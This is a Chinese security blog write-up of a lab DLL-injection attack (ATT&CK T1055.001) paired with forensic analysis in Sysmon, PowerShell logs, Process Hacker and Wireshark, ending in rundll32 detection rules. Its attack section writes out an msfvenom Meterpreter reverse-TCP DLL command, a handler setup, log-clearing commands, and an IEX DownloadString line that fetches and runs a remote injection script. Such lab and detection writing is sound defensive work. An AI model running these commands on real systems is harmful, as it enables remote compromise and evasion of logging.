DLL注入的术与道:分析攻击手法与检测规则


【前言】

在攻防对抗日渐常态化的今天,攻击者的攻击已变得越来越复杂和难以防御,而作为企业的防守人员,也需要不断努力改进技术来保护系统和数据免受威胁。本文将站在攻击者角度探讨DLL注入技术的原理以及是如何实现的,同时还会站在防守者的角度分析DLL注入的特征以及检测规则。因此,无论你是一名甲方安全人员、红队大佬,还是对网络安全感兴趣的个人,这篇文章都将会帮助你更好地理解DLL注入的工作原理,特征以及应对方式等。让我们一起开启本篇内容的学习吧!PS:因篇幅有点长,先把本篇目录列出,以帮助读者们更好地理解本篇要领!


【正文】

1、攻击假设

1.1、什么是DLL?

DLL 本质上是可供其他程序使用的函数和数据的集合,可将其视为虚拟公共资源,Windows运行的任何程序都会不断地调用动态链接库,以访问各种常见函数和数据。

1.2、DLL注入 (T1055.001)

参考ATT&CK攻击矩阵,进程注入的方法比较丰富,涉及到的ATTCK相关子项与API调用如下图所示。本次使用经典的远程线程注入:首先使用Windows API 调用将恶意文件路径写入目标进程的虚拟地址空间,然后创建远程线程并执行,对应ATT&CK的T1055.001,该方法需要事先将DLL存于磁盘上。

2、环境构建

  1. 使用Vmware安装系统镜像:Windows10(victim),kali(攻击)、Ubuntu22.04.2(日志分析)。
  2. 在Ubuntu20.04.2安装Wireshark与Volatility;方法参考其代码仓库。Kali已内置安全框架,直接安装即可。
  3. Windows 10 Enterprise至Microsoft Tech Community下载。

2.1 Sysmon

该工具安装时务必指定配置文件,如使用默认的参数可能导致日志记录不全面。直接参考配置文件Neo23x0-sysmon-config(Florian Roth)。安装完成后运行Powershell命令行:Get-Service sysmon验证是否安装成功。

2.2 配置PowerShell ScriptBlock日志

PowerShell 日志类型:Module、ScriptBlock logging、Script Execution、Transcription。为了收集脚本执行日志,将配置并激活 ScriptBlock。以管理员运行Powershell,执行如下命令:1)更改powershell执行策略,以允许后续配置更改;

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine

2)新建ScriptBlockLogging注册表路径;

New-Item-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force

3)新增EnableScriptBlockLogging 属性为DWORD并设置为1;

New-ItemProperty-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force

4)开启日志记录

wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true

2.3 其他软件

Process Hacker:实时分析;Wireshark:流量分析。

3、攻击模拟

3.1 生成dll文件

(1)在Kali VM使用msfvenom生成payload,msfvenom是Metasploit框架中的组件。命令如下:

sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll
  • Lhost 表示监听的主机,此处代表Kali主机,
  • Lport 表示监听的端口.
  • -f 生成的文件类型,此处是dll。

成功执行后如下图所示:


(2)使用python命令(python3 -m http.server 8008)构建简单的服务,在目标机器上使用浏览器下载至桌面。在目标机器上注入此dll后,将与恶意主机建立连接。效果如下:

(3)接下来将在Kali启动脚本开启监听,为后续操作建立通道。执行如下命令:

msfconsole:开启msf框架;use exploit/multi/handler:生成处理器;set payload windows/meterpreter/reverse_tcp:指定监听的地址与端口


当payload在目标系统上执行时,它将启动一个 TCP 回连攻击者的机器。查看参数要求并运行命令:

set LHOST 192.168.230.155set LPORT 88run

3.2 执行注入

(1)开启WireShark捕获数据包。选择正确的网卡设备进行监听

(2)清除系统当前Sysmon和PowerShell ScriptBlock日志

 

以管理员身份打开 PowerShell 终端,运行以下两个命令:

wevtutil cl “Microsoft-Windows-Sysmon/Operational”wevtutil cl “Microsoft-Windows-PowerShell/Operational”

(3)准备Powershell脚本该脚本具备实现DLL注入的功能,目的是将evil.dll注入至目标进程。项目参考PowerSpolit或者Faanross。以管理员打开powershell下载脚本并注入内存,操作如下:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1')

若无任何输出,则表示执行成功。

3.3 注入恶意dll

此时进程注入脚本运行在powershell进程中,在注入evil.dll之前需要选择某个合法的进程。下面以创建可启动的 USB 驱动器程序rufus.exe为例进行注入。运行 rufus.exe并找到该进程 ID,将其作为参数传递给注入脚本。运行以下命令:

Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll

1700198532_6556f884aee4c2ead99f7.png!small?1700198534137回到Kali系统,查看msf控制面板的输出,可观察到成功回连。如下图所示:
1700198545_6556f8913362095c9fca8.png!small?1700198546311

3.4 执行命令

连接成功后,可以进一步操作受控机器,比如下载文件或执行命令查看详细信息。执行过程如下所示:

1700198560_6556f8a0d22d92086ae18.png!small?1700198562285

3.5日志导出

以管理员打开powershell,输出sysmon与powershell script命令行日志,运行如下命令:Sysmon日志:

wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Users\User\Desktop\SysmonLog.evtx”

Powershell日志:

wevtutil epl "Microsoft-Windows-PowerShell/Operational" "C:\Users\User\Desktop\PowerShellScriptBlockLog.evtx" "/q:*[System[(EventID=4104)]]"

4. 攻击分析

4.1 Powershell脚本分析

(1)首先,恶意软件需要搜索进程以进行注入。通常使用三个应用程序接口来搜索目标进程,分别是:CreateToolhelp32Snapshot用于枚举指定进程或所有进程的堆或模块状态,并返回快照。Process32First检索关于快照中第一个进程的信息,然后在循环中使用Process32Next对其进行迭代,但本次实验中未涉及上述步骤,而是指定目标进程ID,并将其作为参数传入。

(2)选取目标进程后,恶意软件调用OpenProcess获得目标进程的句柄。进程ProcessAccessFlags.All =0x001F0FFF,表示打开进程时获取了所有可能的权限,允许进行广泛的进程操作。这些权限包括读取、写入、执行、分配内存等。1700198795_6556f98bd2d7358809f01.png!small?1700198796987


(3)调用VirtualAllocEx在目标进程中分配内存空间。参数类型为目标进程的句柄、分配内存的大小、分配内存的地址、分配类型和访问权限。
1700198808_6556f998d7fd8ea8e3eb0.png!small?1700198809890(4)使用WriteProcessMemory在分配的内存中写入DLL路径名称。包括目标进程的句柄、目标进程的内存地址、要写入的数据和数据的大小。

1700198821_6556f9a557fc4464a8dec.png!small?1700198822487

(5)调用RtlCreateUserThread远程进程中创建一个新线程 (也可使NtCreateThreadEx或CreateRemoteThread),将LoadLibrary的地址传递给此API(它需要磁盘上有一个可以检测到的恶意DLL),将该线程的执行地址设置为 $LoadLibraryAddr(kernel32.dll 中的 LoadLibraryA 函数),以便加载远程进程中的 DLL。

1700198844_6556f9bcaee065461d877.png!small?1700198846141

4.2 Dll分析

使用IDA Pro打开evil.dll文件,可以看到此模块包含三个函数:sub_10001000,sub_10001050,sub_100011A0,DllEntryPoint(导出函数),其中sub_10001050完成核心功能:实现进程创建与网络连接。该代码段先初始化进程启动所需的变量值(StartupInfo、IpProcessInformation 结构体)、当前工作目录、环境变量、创建标志、句柄,随后创建rundll32.exe进程,再根据条件语句判断返回值(注意cmp,jnz指令)执行loc100010cc处的代码段。1700198865_6556f9d1d202e2ce17c5c.png!small?1700198867567

继续使用IDA将sub_10001050转换为伪代码,如下图所示, 调用 WriteProcessMemory 函数,将地址为 unk_10003000 的数据块推送到堆栈中,写入目标进程的内存执行。

1700198885_6556f9e5bdf5fb88bdd35.png!small?1700198886972

提取该处的shellcode保存为二进制文件,使用工具scdbg分析此部分shellcode功能,可以看到实际上是调用WSASocket实现的联网行为。该处的地址与端口即为handler设置的值。

1700198904_6556f9f83a09937a43ef6.png!small?1700198905956

1700198911_6556f9ff8a8c9d2958017.png!small?1700198913174

查看MS源码,如下图所示。除了完成以上功能外,该stager继续处理接收到的内容,首先开辟4字节的buffer用于接收第二阶段的stage,使用virtualAlloc开辟对应长度的空间,循环读取接收内容并记录当前地址ebx,最后运行ebp用于第二阶段的持续控制。

1700198925_6556fa0d5b576ee2be80c.png!small?1700198926937

4.3过程分析

过程回顾:

(1)首先生成了一个恶意 DLL。(2)将此 DLL 传输到受害者的系统。(3)开启了meterpreter监听处理。(4)下载并执行powershell 脚本,将其注入到内存中。(5)运行合法进程(rufus.exe),将恶意 dll 注入到内存空间中。(6)注入的 DLL回连步骤3中的地址,从而建立连接。

(7)与控制端进行通信处理接第二阶段的payload。

实际的攻击场景可能是这样:攻击者向目标主体发送鱼叉式网络钓鱼电子邮件。该员工打开了电子邮件的附件,它可能会运行嵌入的 VBA 宏,其中包含恶意代码。它负责下载攻击脚本并将其注入内存;比如利用合法进程下载并执行包含免杀功能逃避终端安全的检测。攻击者会选择某进程进行注入,通常比文件落地更难以检测。

首先使用Windows原生工具回顾攻击过程,包括:网络连接、进程、注册表项等。

4.3.1网络连接

打开 PowerShell 管理终端并运行以下命令:

netstat -naob

命令行参数包含 o 和 b,显示每个连接中涉及的 PID 以及可执行文件的名称。查看ESTABLISHED 连接能够观察到 rundll32.exe 发起了一个网络连接,如下图所示:

1700198972_6556fa3c8e61e51a140ec.png!small?1700198973629

它用于加载 DLL。那么问题来了:为什么它会参与出站网络连接?在日常情况下,应该立即查看有关该 IP 的更多信息。例如是内部地址,是否有与之相关的业务系统,是否网络上的其他系统也连接到它,通过关联威胁情报或IOC库查看详细信息。

4.3.2进程信息

接下来需要了解上述进程的详细信息,例如运行的命令行参数、父进程、以及该进程正在使用哪些 DLL。运行命令如下:

tasklist /m /fi "pid eq 6256"

1700199003_6556fa5b499a5414ec031.png!small?1700199006602

此输出似乎没有任何异常,查看PID=6256的父进程:

wmic process where processid=6256 get parentprocessid

1700199032_6556fa789c05f94b84f57.png!small?1700199033840

其父进程 PPID 为 1480, 查看该进程名称,如下图所示:

wmic process where processid=1480 get Name

1700199066_6556fa9ae7e201c279518.png!small?1700199069459

我们可以看到rundll32.exe没有提供任何参数。由于 rundll32.exe通常用于执行特定DLL文件中的函数,因此会看到它附带指定 DLL 文件和它应该执行的函数的参数。

思考:目前发现2处异常点:(1)创建网络连接的进程及父子进程关系异常。

(2)该进程在没有命令行参数的情况下运行异常。

4.3.3 Process Hacker

使用 Process Hacker 等工具查看进程的关键属性:

  1. 进程树关系
  2. 程序签名是否合法
  3. 当前启动目录
  4. 命令行参数
  5. 线程起始地址
  6. 执行权限
  7. 内存。

以管理员身份运行Process Hacker,筛选rufus.exe进程信息rufus.exe 详细观察以上7 个指标。

(1)Parent-Child relationships1700199088_6556fab000db2f289c194.png!small?1700199089342观察到进程 rufus.exe生成了子进程 rundll32.exe,随之rundll32.exe 又生成了 cmd.exe。rundll32.exe通常用于执行DLL,此进程关系是比较可疑的。(2)Signature1700199103_6556fabf6cc215df1fca7.png!small?1700199104820

双击进程rundll32.exe。我们可以在这里看到它有一个由微软签署的有效签名,此处暂无可疑信息。

(3)Current directory

在同一张图中,我们可以看到当前进程的工作目录是桌面,因为它是从桌面启动的。rundll32.exe 调用 DLL 函数的合法脚本或应用程序一般为磁盘某绝对路径下的应用程序。从用户桌面等异常位置调用 rundll32.exe的情况比较可疑。

(4)Command-line arguments

看到命令行是 rundll32.exe,之前讨论在合理场景下需要路径与命令行参数。

(5)Thread Start Address在“属性”窗口顶部,选择“线程”选项卡。可以在“开始地址”下看到它已被映射,表明文件它确实存在于磁盘上,表明这不是一个反射加载的 DLL。1700199131_6556fadb1258fb725c2cc.png!small?1700199132340(6)Memory Permissions在“属性”窗口选择“内存”。向下查询观察到RWX 权限。1700199142_6556fae66c30daab00399.png!small?1700199144662

从结果中看到存在两个具有读-写-执行权限的内存空间,在正常程序执行的过程中,很少有合法程序会写入内存然后立即执行它。

(7)Memory Content双击size为172 kB的memory,可查看加载的内容,从图中可看出:

1700199158_6556faf6461b35dad50cf.png!small?1700199160616

两个明显标识表明该进程正在处理 Windows PE 文件。我们可以看到魔术字节 (MZ) 与 PE Dos关联的字符串。

总结:使用 Process Hacker发现异常点如下:

  • rundll32.exe 生成了cmd.exe和conhost.exe命令行执行环境;
  • rundll32.exe 从桌面运行;
  • 该进程还具有 RWX 内存空间权限并包含 PE 文件。

4.3.4 Sysmon

安全社区的大神推荐过较多利用sysmon进行威胁检测的演讲,如果了解更多有关 Sysmon 的详细信息,推荐连接:

(1)Sysmon详情:https://www.某tube.com/watch?v=6W6pXp6EojY(2)Trustedsec:https://www.某tube.com/playlist?list=PLk-dPXV5k8SG26OTeiiF3EIEoK4ignai7 (3)Sysmon for threathunting:https://www.某tube.com/watch?v=7dEfKn70HCI

打开内置的EventViewer,包含不同类型事件 ID。详细介绍参考官网或者博客Black Hills Infosec

https://www.blackhillsinfosec.com/a-sysmon-event-id-breakdown/

首先查看第一个事件ID=22,此时PowerShell 正在对raw.githubusercontent.com执行 DNS 请求。对应于IEX命令下载Web 服务器脚本。日志详情如下图所示:

1700199194_6556fb1a8d04d91e67415.png!small?1700199196351

1700199206_6556fb262cea535c76e81.png!small?1700199207719

命令行地址参数为raw.githubusercontent.com,因此发生了DNS 解析和Sysmon 事件ID 22。当攻击者通过初始化访问建立据点后,会访问 Web 服务器下载另一个脚本(即Payload),此行为可能会产生 DNS请求记录,该记录是检测命令与控制行为重要指标。与IP地址类似,当我们发现有外联请求时,需要确定地址是否为业务正常请求,是否为服务合法地址,是否为威胁情报黑名单,是否为已知恶意 IOC库地址。

随之我们看到event=3的网络连接,此时evil.dll被注入rufus内存,rundll32创建网络连接,回连至攻击机器的88端口。

1700199224_6556fb38ab4f432449958.png!small?1700199227836

1700199233_6556fb41c77a03a20832d.png!small?1700199235262

然后,发生三个注册表操作,事件ID分别为13、12、13。第一个 (ID 13) 如下所示。可以看到 rufus.exe修改了注册表项。路径以 DisableAntiSpyware 结尾。如下图所示:

1700199246_6556fb4ef2604bd697d21.png!small?1700199248592

实际上不是rufus.exe而是注入的恶意代码操作关闭MS Defender 反间谍软件功能。(备注:考虑恶意软件的行为,认为该值应该被设置为1 (DWORD (0x00000001)),表示禁用反恶意软件功能。但是测试若干次发现该值被设置为0,待进一步解决。)下一个日志条目 (ID 12) 指示注册表项上发生了删除事件。

1700199262_6556fb5e97a4d0406bbe5.png!small?1700199263793

该注册表项与上面的名称相同(DisableAntiSpyware),但是注意 TargetObject 的完整路径。第一个位于HKU\...下,而这里的位于HKLM\...下。HKU代表HKEY_USERS,HKLM代表HKEY_LOCAL_MACHINE。HKU 配置单元包含计算机上Windows 用户配置文件的配置信息,而 HKLM 配置单元包含计算机上所有用户使用的配置数据。第一个涉及特定用户,第二个涉及整个系统。svchost.exe 进程以系统权限(最高级别的权限)运行,这使其能够修改系统范围的密钥。

1700199285_6556fb75b8e0c00ef4a18.png!small?1700199287282

在这里,我们可以看到与第一个条目中执行的操作相同,即先删除后设置为 1 来禁用反间谍软件功能。通过将注册表项返回到默认状态(这就是删除它的实际效果),确保系统不会出现可能干扰恶意软件操作的配置。最后,观察到ID 为 1 的事件,该事件是恶意软件活动重要特征。

1700199294_6556fb7eef2789a543b7b.png!small?1700199296195

 

在这里我们可以看到Windows远程协助COM服务器可执行文件(raserver.exe)已经启动。该工具用于远程协助,允许远程用户无需邀请即可连接。此远程协助工具可以为攻击者提供远程交互式命令行或 GUI 访问,类似于远程桌面,可用于与系统交互并可能窃取数据。

4.3.5 PowerShell 脚本块

开启特定模块的日志,Powershell日志量相对较少,如下图所示。1700199324_6556fb9cc8b055f969a94.png!small?1700199326399首先,PowerShell ScriptBlock 日志记录都是与事件 ID 4104 相关联。几乎所有条目都是成对出现。在第三个条目中,我们可以看到与 PowerShell 命令相关的日志,该命令从 Web 服务器下载注入脚本并将其加载到内存中。1700199337_6556fba957d3af6cc28b5.png!small?1700199338601在现实的攻击场景中,从类似stager的进程下载具体执行内容。下一个条目展示了下载并注入内存的脚本的实际内容。1700199349_6556fbb5c304839d9e8e2.png!small?1700199351937因此,当我们运行前面的 IEX 命令时,它会从提供的 FQDN 下载脚本并将其直接注入到内存中。每个 PowerShell ScriptBlock 日志条目后面都会跟着另一个prompt提示,以便可以输入后续命令。再往下看到将恶意 DLL 注入 rufus.exe 的命令日志条目,这是在实际攻击中看到的内容。1700199363_6556fbc36aacb3620e50e.png!small?1700199365624接下来是具有完全相同时间戳的另外两个条目,其中包含我们未显式运行的命令。由于时间戳完全相同,可以假设它们是由我们运行的命令(Invoke-DllInjection -ProcessID 3468 -Dll C:\Users\User\Desktop\evil.dll)产生的。这些条目可能与程序集交互或分析程序集的过程有关,是 DLL 注入过程的一部分。1700199385_6556fbd9ca94617103a6b.png!small?1700199387128

总结:

到目前为止我们没有深入分析攻击的过程与原理,但是通过日志我们能发掘较多异常点。在本节中,使用 Sysmon可疑收集到:(1)下载注入脚本而访问的 Web 服务器的 URL、IP 和主机名;(2)该恶意软件操纵了DisableAntiSpyware 注册表项;(3)该恶意软件启动了带有 /offerraupdate 标志的 raserver.exe,从而创建了另一个潜在的后门;使用 PowerShell ScriptBlock 收集到:(1)powershell从 Web 服务器下载脚本并将其注入内存;

(2)使用特定命令行将脚本注入到rufus.exe中,同时可疑查看 dll 注入脚本的实际内容。

4.3.6流量分析

首先可以看到针对raw.githubusercontent.com 的 DNS 请求与响应数据包。1700199409_6556fbf15bb0008dcd6b6.png!small?1700199410482这是初始 IEX 命令访问特定 Web 服务器以下载注入脚本的地方。双击第二个数据包(响应),查看数据包详细信息可查看返回值不同的地址,可能对应不同的CDN地址。1700199425_6556fc01ef81eecbc94d2.png!small?1700199427471我们可以在SIEM中立即查询该IOC,例如查看是否有于其他系统的通信、是否存在于任何威胁情报黑名单中等。在 DNS 之后,我们可以立即看到系统和 Web 服务器之间的会话。首先对证书进行身份验证,然后进行加密 (TLS) 交换。1700199456_6556fc20b1f26f13f2f84.png!small?1700199458500可以看到目标系统和攻击者之间建立reverse_tcp连接。接着右键1700199473_6556fc3173f465204c7fe.png!small?1700199474635数据包,然后选择“跟随”-“TCP 流”。可查看交换的整个数据流,虽然大部分内容被加密/混淆,但是在顶部我们看到魔术字节和 dos本文,显示有Windows可执行文件头的签名标识。1700199487_6556fc3f80d76ed01fed8.png!small?1700199488873

5.检测规则

rundll32.exe的使用语法如下:

rundll32.exe <dllname>,<entrypoint> <optional arguments>

结合上述例子我们从rundll32.exe路径开始建立几条基本的规则。

  1. 父子进程关系

在某些场景下存在不规范的命令行参数,日志详情如下所示:1700199530_6556fc6ad17979be957ae.png!small?1700199533188从日志内容看为进程启动日志,但其命令行没有详细参数而且currentDirectory路径为用户桌面。该场景下规则设置条件为未包含关键字dll,再从搜索结果中观察父子进程的关系。如下图所示:1700199543_6556fc7722d25f75cc536.png!small?1700199544299

实际上该日志对应于evil.dll在后渗透阶段调用 rundll32.exe 进行回连并处理下一步的payload所产生,实际上这一场景可以通过此技巧进行检测。

(1)命令行参数继续关注DLL文件调用位置以及命令行参数。使用正则表达式提取DLL路径与参数,以event_id、image、commandLine为字段建立检测规则如下所示:1700199557_6556fc853696ebe7367d1.png!small?1700199558644以dllname、fuction聚合统计后建立阈值,关注特定阈值下的值。例如从桌面加载evil.dll或者%temp%调用kernel32.dll,这属于可疑程度很高的行为需要进一步结合其他数据进行判断,如下图所示:1700199569_6556fc91b510e728f362b.png!small?1700199571050(2)进程路径Rundll32合法路径为两类:

C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe

利用sysmon日志中的Image字段建立一条检测规则:1700199608_6556fcb808e2f09b6e248.png!small?1700199609099接下来统计出现过的路径值,尽一切可能建立正常的行为基线,排除正常路径值,关注异常值。例如以下场景就可能涉及恶意行为。1700199622_6556fcc61a83703dfa85c.png!small?1700199623207(3)网络连接本次模拟中,rundll32 在网络通信行为只有一处,即回连攻击机的88端口。根据研究人员观察,rundll32的网络通信行为并不活跃,对于规则运营是比较有好的。利用sysmon日志网络连接日志建立一条检测规则并对image、SourceIP、DestinationIp进行分桶聚合:1700199645_6556fcddf053c7ec397c7.png!small?1700199647329如果能结合进程启动日志,建立进程关系图就能更直观的展示行为序列,从而进行研判。

【总结】

本文采用较为经典的创建线程实现注入,实际上至少有10种进程注入的实现方式,不同攻击方式可能对应不同的检测规则,后续会覆盖不同的场景。如果在生产环境中有更好的规则调优方法,欢迎评论区分享你的经验。

[1]https://attack.mitre.org/techniques/T1055/ [2]http://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html

[3]https://mp.weixin.qq.com/s/9v6qGqHlzD6Ee3ICOeuVvQ [4] https://www.elastic.co/cn/blog

[5] https://muchangfeng.gitbook.io/


某博一张肉肉腿的皂片

Windows【自动配置IPv4地址】的问题

获取更多资讯请加入交流群


    协助本站SEO优化一下,谢谢!
    关键词不能为空
评 论
更换验证码